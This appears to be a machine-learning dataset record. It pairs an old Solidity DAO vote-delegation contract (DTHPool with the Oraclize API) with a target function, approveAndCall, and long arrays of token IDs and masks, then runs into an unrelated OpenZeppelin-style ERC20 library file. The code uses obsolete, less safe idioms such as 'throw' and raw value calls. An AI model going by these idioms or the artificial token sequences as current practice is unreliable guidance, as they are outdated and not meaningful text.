}
if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){
OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd);
return true;
}
if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){
OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf);
return true;
}
return false;
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int)
{
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
return mint;
}
}
// </ORACLIZE_API>
/*
Basic, standardized Token contract with no "premine". Defines the functions to
check token balances, send tokens, send tokens on behalf of a 3rd party and the
corresponding approval process. Tokens need to be created by a derived
contract (e.g. TokenCreation.sol).
Thank you ConsenSys, this contract originated from:
https://github.com/ConsenSys/Tokens/blob/master/Token_Contracts/contracts/Standard_Token.sol
Which is itself based on the Ethereum standardized contract APIs:
https://github.com/ethereum/wiki/wiki/Standardized_Contract_APIs
*/
/// @title Standard Token Contract.
contract TokenInterface {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
/// Public variables of the token, all used for display
string public name;
string public symbol;
uint8 public decimals;
string public standard = 'Token 0.1';
/// Total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) returns (bool success);
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address of the origin of the transfer
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _amount) returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _amount) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(
address _owner,
address _spender
) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);
}
contract Token is TokenInterface {
// Protects users by preventing the execution of method calls that
// inadvertently also transferred ether
modifier noEther() {if (msg.value > 0) throw; _}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) noEther returns (bool success) {
if (balances[msg.sender] >= _amount && _amount > 0) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) noEther returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0) {
balances[_to] += _amount;
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
/// Allow another contract to spend some tokens in your behalf
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success) {
allowed[msg.sender][_spender] = _value;
tokenRecipient spender = tokenRecipient(_spender);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/*
This file is part of the DAO.
The DAO is free software: you can redistribute it and/or modify
it under the terms of the GNU lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
The DAO is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU lesser General Public License for more details.
You should have received a copy of the GNU lesser General Public License
along with the DAO. If not, see <http://www.gnu.org/licenses/>.
*/
/////////////////////
// There is a solidity bug in the return parameters that it's not solved
// when the bug is solved, the import from DAO is more clean.
// In the meantime, a workaround proxy is defined
// Uncoment this line when error fixed
// import "./DAO.sol";
// Workaround proxy remove when fixed
contract DAO {
function proposals(uint _proposalID) returns(
address recipient,
uint amount,
uint descriptionIdx,
uint votingDeadline,
bool open,
bool proposalPassed,
bytes32 proposalHash,
uint proposalDeposit,
bool newCurator
);
function transfer(address _to, uint256 _amount) returns (bool success);
function transferFrom(address _from, address _to, uint256 _amount) returns (bool success);
function vote(
uint _proposalID,
bool _supportsProposal
) returns (uint _voteID);
function balanceOf(address _owner) constant returns (uint256 balance);
}
// End of workaround proxy
////////////////////
contract DTHPoolInterface {
// delegae url
string public delegateUrl;
// Max time the tokens can be blocked.
// The real voting in the DAO will be called in the last moment in order
// to block the tokens for the minimum time. This parameter defines the
// seconds before the voting period ends that the vote can be performed
uint maxTimeBlocked;
// Address of the delegate
address public delegate;
// The DAO contract
address public daoAddress;
struct ProposalStatus {
// True when the delegate sets the vote
bool voteSet;
// True if the proposal should ve voted
bool willVote;
// True if the proposal should be accepted.
bool suportProposal;
// True when the vote is performed;
bool executed;
// Proposal votingDeadline
uint votingDeadline;
// String set by the delegator with the motivation
string motivation;
}
// Statuses of the diferent proposal
mapping (uint => ProposalStatus) public proposalStatuses;
// Index of proposals by oraclizeId
mapping (bytes32 => uint) public oraclizeId2proposalId;
/// @dev Constructor setting the dao address and the delegate
/// @param _daoAddress address of the DAO
/// @param _delegate adddress of the delegate.
/// @param _maxTimeBlocked the maximum time the tokens will be blocked
/// @param _delegateName Name of the delegate
/// @param _delegateUrl Url of the delegate
/// @param _tokenSymbol token symbol.
// DTHPool(address _daoAddress, address _delegate, uint _maxTimeBlocked, string _delegateName, string _delegateUrl, string _tokenSymbol);
/// @notice send votes to this contract.
/// @param _amount Tokens that will be transfered to the pool.
/// @return Whether the transfer was successful or not
function delegateDAOTokens(uint _amount) returns (bool _success);
/// Returns DAO tokens to the original
/// @param _amount that will be transfered back to the owner.
/// @return Whether the transfer was successful or not
function undelegateDAOTokens(uint _amount) returns (bool _success);
/// @notice This method will be called by the delegate to publish what will
/// be his vote in a specific proposal.
/// @param _proposalID The proposal to set the vote.
/// @param _willVote true If the proposal will be voted.
/// @param _supportsProposal What will be the vote.
function setVoteIntention(
uint _proposalID,
bool _willVote,
bool _supportsProposal,
string _motivation
) returns (bool _success);
/// @notice This method will be doing the actual voting in the DAO
/// for the _proposalID
/// @param _proposalID The proposal to set the vote.
/// @return _finalized true if this vote Proposal must not be executed again.
function executeVote(uint _proposalID) returns (bool _finalized);
/// @notice This function is intended because if some body sends tokens
/// directly to this contract, the tokens can be sent to the delegate
function fixTokens() returns (bool _success);
/// @notice If some body sends ether to this contract, the delegate will be
/// able to extract it.
function getEther() returns (uint _amount);
/// @notice Called when some body delegates token to the pool
event Delegate(address indexed _from, uint256 _amount);
/// @notice Called when some body undelegates token to the pool
event Undelegate(address indexed _from, uint256 _amount);
/// @notice Called when the delegate set se vote intention
event VoteIntentionSet(uint indexed _proposalID, bool _willVote, bool _supportsProposal);
/// @notice Called when the vote is executed in the DAO
event VoteExecuted(uint indexed _proposalID);
}
contract DTHPool is DTHPoolInterface, Token, usingOraclize {
modifier onlyDelegate() {if (msg.sender != delegate) throw; _}
// DTHPool(address _daoAddress, address _delegate, uint _maxTimeBlocked, string _delegateName, string _delegateUrl, string _tokenSymbol);
function DTHPool(
address _daoAddress,
address _delegate,
uint _maxTimeBlocked,
string _delegateName,
string _delegateUrl,
string _tokenSymbol
) {
daoAddress = _daoAddress;
delegate = _delegate;
delegateUrl = _delegateUrl;
maxTimeBlocked = _maxTimeBlocked;
name = _delegateName;
symbol = _tokenSymbol;
decimals = 16;
oraclize_setNetwork(networkID_auto);
}
function delegateDAOTokens(uint _amount) returns (bool _success) {
DAO dao = DAO(daoAddress);
if (!dao.transferFrom(msg.sender, address(this), _amount)) {
throw;
}
balances[msg.sender] += _amount;
totalSupply += _amount;
Delegate(msg.sender, _amount);
return true;
}
function undelegateDAOTokens(uint _amount) returns (bool _success) {
DAO dao = DAO(daoAddress);
if (_amount > balances[msg.sender]) {
throw;
}
if (!dao.transfer(msg.sender, _amount)) {
throw;
}
balances[msg.sender] -= _amount;
totalSupply -= _amount;
Undelegate(msg.sender, _amount);
return true;
}
function setVoteIntention(
uint _proposalID,
bool _willVote,
bool _supportsProposal,
string _motivation
) onlyDelegate returns (bool _success) {
DAO dao = DAO(daoAddress);
ProposalStatus proposalStatus = proposalStatuses[_proposalID];
if (proposalStatus.voteSet) {
throw;
}
var (,,,votingDeadline, ,,,,newCurator) = dao.proposals(_proposalID);
if (votingDeadline < now || newCurator ) {
throw;
}
proposalStatus.voteSet = true;
proposalStatus.willVote = _willVote;
proposalStatus.suportProposal = _supportsProposal;
proposalStatus.votingDeadline = votingDeadline;
proposalStatus.motivation = _motivation;
VoteIntentionSet(_proposalID, _willVote, _supportsProposal);
if (!_willVote) {
proposalStatus.executed = true;
VoteExecuted(_proposalID);
}
bool finalized = executeVote(_proposalID);
if ((!finalized)&&(address(OAR) != 0)) {
bytes32 oraclizeId = oraclize_query(votingDeadline - maxTimeBlocked +15, "URL", "");
oraclizeId2proposalId[oraclizeId] = _proposalID;
}
return true;
}
function executeVote(uint _proposalID) returns (bool _finalized) {
DAO dao = DAO(daoAddress);
ProposalStatus proposalStatus = proposalStatuses[_proposalID];
if (!proposalStatus.voteSet
|| now > proposalStatus.votingDeadline
|| !proposalStatus.willVote
|| proposalStatus.executed) {
return true;
}
if (now < proposalStatus.votingDeadline - maxTimeBlocked) {
return false;
}
dao.vote(_proposalID, proposalStatus.suportProposal);
proposalStatus.executed = true;
VoteExecuted(_proposalID);
return true;
}
function __callback(bytes32 oid, string result) {
uint proposalId = oraclizeId2proposalId[oid];
executeVote(proposalId);
oraclizeId2proposalId[oid] = 0;
}
function fixTokens() returns (bool _success) {
DAO dao = DAO(daoAddress);
uint ownedTokens = dao.balanceOf(this);
if (ownedTokens < totalSupply) {
throw;
}
uint fixTokens = ownedTokens - totalSupply;
if (fixTokens == 0) {
return true;
}
balances[delegate] += fixTokens;
totalSupply += fixTokens;
return true;
}
function getEther() onlyDelegate returns (uint _amount) {
uint amount = this.balance;
if (!delegate.call.value(amount)()) {
throw;
}
return amount;
}
} | Allow another contract to spend some tokens in your behalf | function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success) {
allowed[msg.sender][_spender] = _value;
tokenRecipient spender = tokenRecipient(_spender);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
| 7,326,629 | [
1,
7009,
4042,
6835,
358,
17571,
2690,
2430,
316,
3433,
12433,
6186,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
6617,
537,
1876,
1477,
12,
2867,
389,
87,
1302,
264,
16,
2254,
5034,
389,
1132,
16,
1731,
389,
7763,
751,
13,
203,
3639,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
2935,
63,
3576,
18,
15330,
6362,
67,
87,
1302,
264,
65,
273,
389,
1132,
31,
203,
3639,
1147,
18241,
17571,
264,
273,
1147,
18241,
24899,
87,
1302,
264,
1769,
203,
3639,
17571,
264,
18,
18149,
23461,
12,
3576,
18,
15330,
16,
389,
1132,
16,
333,
16,
389,
7763,
751,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* // importANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [// importANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* // importANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
